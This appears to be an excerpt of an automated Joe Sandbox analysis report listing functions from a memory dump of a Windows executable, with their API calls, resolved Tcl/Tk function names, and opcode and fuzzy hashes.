Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 0b099c07253b9450cd99cc86397d56a4bbef62ef019b7b493efab67f8f9d6e6f
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 0B41B732908242C7EA25AA15AD50179B3B2FFA57A0FA00139D68E436D1CF7DF442DF61

Function 00007FF72C657F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF72C65803A

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction ID: 0d6c5bf25cbbd315964dbcc9a4990ae0d34bc11159dc6c2776a6e7451cc13498
Opcode Fuzzy Hash: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction Fuzzy Hash: 0021E721B5865246FA52BB226D043BAE652FF59BE4FE84434EF0C07B86DE7DE441CB10

Function 00007FF72C66B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66B9C2

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: b3ffcdc2ea8637889cabde6186c1adbce4fd9242ccead691b6bb038f74b24c3b
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 8B313D22A1864285E612BB558C4137CB6A2FFA1BB4FE14239E95D077D2CE7CA4419F21

Function 00007FF72C669961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF72C66998F

Part of subcall function 00007FF72C669A88: GetModuleHandleExW.KERNEL32 ref: 00007FF72C669AAD
Part of subcall function 00007FF72C669A88: GetProcAddress.KERNEL32 ref: 00007FF72C669AC3
Part of subcall function 00007FF72C669A88: FreeLibrary.KERNEL32 ref: 00007FF72C669AEA

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: b006f94b5d6774d63f00850fd151fd3e9a064759f2957e571430838450647163
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: 9B218072A04B4589EB1AAF64C8803AC73B1FB54728FA4063ADB5D46BC5DF3CD544CB50

Function 00007FF72C665F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C665EF9

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 5b0f5432e87c91338271815ebe442a583a7df5e68f8bee1df1fb53b5ba528f3c
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 20118431A1C64281EA62BF11980117DF672FFA5BA4FE44439EB4C57A96CF3DE4414F60

Function 00007FF72C676354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C676377

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 5c1c71568547bf9acd071346c80e0db66393377e80d0c22d7bd9bb91f2029a27
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 1D210732618A4286DB22AF18D841379B3A2FBA4B70FA44638E75D476D9DF3CD415CF10

Function 00007FF72C6603BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C660410

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 88af2b9d623369b6d1cd895eab9ed39b027310b3992d6538d0e58b66fffe3d1f
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 97018221A0874180EA16EB529D01079F6A2FFA5FF0FA84679DE5C13BD6CE3CD4118B54

Function 00007FF72C66EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF72C66B32A,?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A), ref: 00007FF72C66EBED

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: af1b5697a959bb7637e601919f99bef49b76924b6adf7a91745dae5e59c700d1
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: 26F04F58B0928240FE5B76B59D552B4E2A2FFA8B60FEC4538C90F462C1DD1CE4804A30

Function 00007FF72C66D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF72C660C90,?,?,?,00007FF72C6622FA,?,?,?,?,?,00007FF72C663AE9), ref: 00007FF72C66D63A

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 3cdae481fe8222b867514f97429f4788fea26aad7f90dec245290c66738413e8
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 7BF0DA50E0924645FE5676725C51675A1A2EFA47B4FA84638DD2E866C2DD2CA4808A30

Non-executed Functions

Function 00007FF72C6576C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF72C6576D7
GetLastError.KERNEL32 ref: 00007FF72C6576E9
GetProcAddress.KERNEL32 ref: 00007FF72C657725
GetLastError.KERNEL32 ref: 00007FF72C657737
GetProcAddress.KERNEL32 ref: 00007FF72C657750
GetLastError.KERNEL32 ref: 00007FF72C657762
GetProcAddress.KERNEL32 ref: 00007FF72C65777B
GetLastError.KERNEL32 ref: 00007FF72C65778D
GetProcAddress.KERNEL32 ref: 00007FF72C6577A9
GetLastError.KERNEL32 ref: 00007FF72C6577BB
GetProcAddress.KERNEL32 ref: 00007FF72C6577D7
GetLastError.KERNEL32 ref: 00007FF72C6577E9
GetProcAddress.KERNEL32 ref: 00007FF72C657805
GetLastError.KERNEL32 ref: 00007FF72C657817
GetProcAddress.KERNEL32 ref: 00007FF72C657833
GetLastError.KERNEL32 ref: 00007FF72C657845
GetProcAddress.KERNEL32 ref: 00007FF72C657861
GetLastError.KERNEL32 ref: 00007FF72C657873

Strings

Tk_GetNumMainWindows, xrefs: 00007FF72C657CA7, 00007FF72C657CC9
Tcl_MutexLock, xrefs: 00007FF72C6578B3, 00007FF72C6578D5
GetProcAddress, xrefs: 00007FF72C6576FF
Tcl_JoinThread, xrefs: 00007FF72C657885, 00007FF72C6578A7
Tcl_CreateThread, xrefs: 00007FF72C657829, 00007FF72C65784B
Tcl_MutexFinalize, xrefs: 00007FF72C65790F, 00007FF72C657931
Tcl_FinalizeThread, xrefs: 00007FF72C6577CD, 00007FF72C6577EF
Tcl_DoOneEvent, xrefs: 00007FF72C657771, 00007FF72C657793
Tcl_EvalObjv, xrefs: 00007FF72C657BEF, 00007FF72C657C11
Tcl_EvalFile, xrefs: 00007FF72C657B93, 00007FF72C657BB5
Tcl_NewStringObj, xrefs: 00007FF72C657ADB, 00007FF72C657AFD
Tcl_GetCurrentThread, xrefs: 00007FF72C657857, 00007FF72C657879
Tcl_ConditionNotify, xrefs: 00007FF72C65796B, 00007FF72C65798D
Tcl_FindExecutable, xrefs: 00007FF72C657746, 00007FF72C657768
Tcl_SetVar2, xrefs: 00007FF72C657A51, 00007FF72C657A73
Tk_Init, xrefs: 00007FF72C657C79, 00007FF72C657C9B
Tcl_Finalize, xrefs: 00007FF72C65779F, 00007FF72C6577C1
Tcl_ThreadQueueEvent, xrefs: 00007FF72C6579C7, 00007FF72C6579E9
Tcl_GetString, xrefs: 00007FF72C657AAD, 00007FF72C657ACF
Tcl_CreateInterp, xrefs: 00007FF72C65771B, 00007FF72C65773D
Tcl_CreateObjCommand, xrefs: 00007FF72C657A7F, 00007FF72C657AA1
Tcl_MutexUnlock, xrefs: 00007FF72C6578E1, 00007FF72C657903
Tcl_GetObjResult, xrefs: 00007FF72C657B65, 00007FF72C657B87
Tcl_GetVar2, xrefs: 00007FF72C657A23, 00007FF72C657A45
Tcl_ConditionWait, xrefs: 00007FF72C657999, 00007FF72C6579BB
Tcl_Alloc, xrefs: 00007FF72C657C1D, 00007FF72C657C3F
Failed to get address for %hs, xrefs: 00007FF72C6576F8
Tcl_NewByteArrayObj, xrefs: 00007FF72C657B09, 00007FF72C657B2B
Tcl_ThreadAlert, xrefs: 00007FF72C6579F5, 00007FF72C657A17
Tcl_EvalEx, xrefs: 00007FF72C657BC1, 00007FF72C657BE3
Tcl_DeleteInterp, xrefs: 00007FF72C6577FB, 00007FF72C65781D
Tcl_Free, xrefs: 00007FF72C657C4B, 00007FF72C657C6D
Tcl_SetVar2Ex, xrefs: 00007FF72C657B37, 00007FF72C657B59
Tcl_Init, xrefs: 00007FF72C6576D0, 00007FF72C6576EF
Tcl_ConditionFinalize, xrefs: 00007FF72C65793D, 00007FF72C65795F

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: b00a13361c43f882c3d9dc7e2ff6d330094b8b229ca819b7d7d68bea95002607
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 4E02B324A1DB0B91EA17BB15BC19574A3A3FF647B4BE40831C52E022A4EF3CB14D8A34

Function 00007FF72C65D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF72C65D148
RtlCaptureContext.KERNEL32 ref: 00007FF72C65D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72C65D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF72C65D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF72C65D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72C65D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72C65D24C

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: c0e9453daa5319c9a977e43f5a8ddc277bb9b255e9adbe2c55aa8a73e99b43f6
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 52313E72609B8186EB619F60EC843EEB361FB94758F44443ADB4E47B99DF38D548CB20

Function 00007FF72C675C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72C675C45

Part of subcall function 00007FF72C675598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6755AC

Part of subcall function 00007FF72C66A948: RtlFreeHeap.NTDLL(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
Part of subcall function 00007FF72C66A948: GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

Part of subcall function 00007FF72C66A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF72C66A8DF,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66A909
Part of subcall function 00007FF72C66A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF72C66A8DF,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66A92E

_get_daylight.LIBCMT ref: 00007FF72C675C34

Part of subcall function 00007FF72C6755F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C67560C

_get_daylight.LIBCMT ref: 00007FF72C675EAA
_get_daylight.LIBCMT ref: 00007FF72C675EBB
_get_daylight.LIBCMT ref: 00007FF72C675ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72C67610C), ref: 00007FF72C675EF3

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: 7c87c2dfff1801238b98d4aec5a2674972c44497560309c1737eb14a2b8fdfe3
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: 40D1D422A1824286E722FF21DC421B9A363FFA47A4FC48976DA0D47695DF3CE445CF60

Function 00007FF72C66A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF72C66A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72C66A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF72C66A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF72C66A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72C66A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72C66A72E

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: efd8a26337d1ab9ddb835e402724fb6bf05ce0f95ab9478cfb1275ebdcbd09d0
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 4F319336608B8186DB21DF25EC442AEB3A5FB98768F900535EA9D43B99DF3CC159CB10

Function 00007FF72C671874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6718C0
FindFirstFileExW.KERNEL32 ref: 00007FF72C6719CA

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: 4a845607282e17f4a483a487e092a201656256254044ab6ab78e4d0b38d8c084
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: EBB1E622B1868241EE62EB219C011B9E362FB64BF4F945533D95D07B99EF3CE445CB10

Function 00007FF72C675E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72C675EAA

Part of subcall function 00007FF72C6755F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C67560C

_get_daylight.LIBCMT ref: 00007FF72C675EBB

Part of subcall function 00007FF72C675598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6755AC

_get_daylight.LIBCMT ref: 00007FF72C675ECC

Part of subcall function 00007FF72C6755C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6755DC

Part of subcall function 00007FF72C66A948: RtlFreeHeap.NTDLL(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
Part of subcall function 00007FF72C66A948: GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72C67610C), ref: 00007FF72C675EF3

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 807c0db034e7fbf72cd21f584035cc2bff27495446651293bd15c873eb4c4583
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 4551B132A0864286E711FF21DD821A9E362FF687A4FC44576EA0D43696DF3CE444CF60

Function 00007FF72C65D010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF72C65D03C
GetCurrentThreadId.KERNEL32 ref: 00007FF72C65D04A
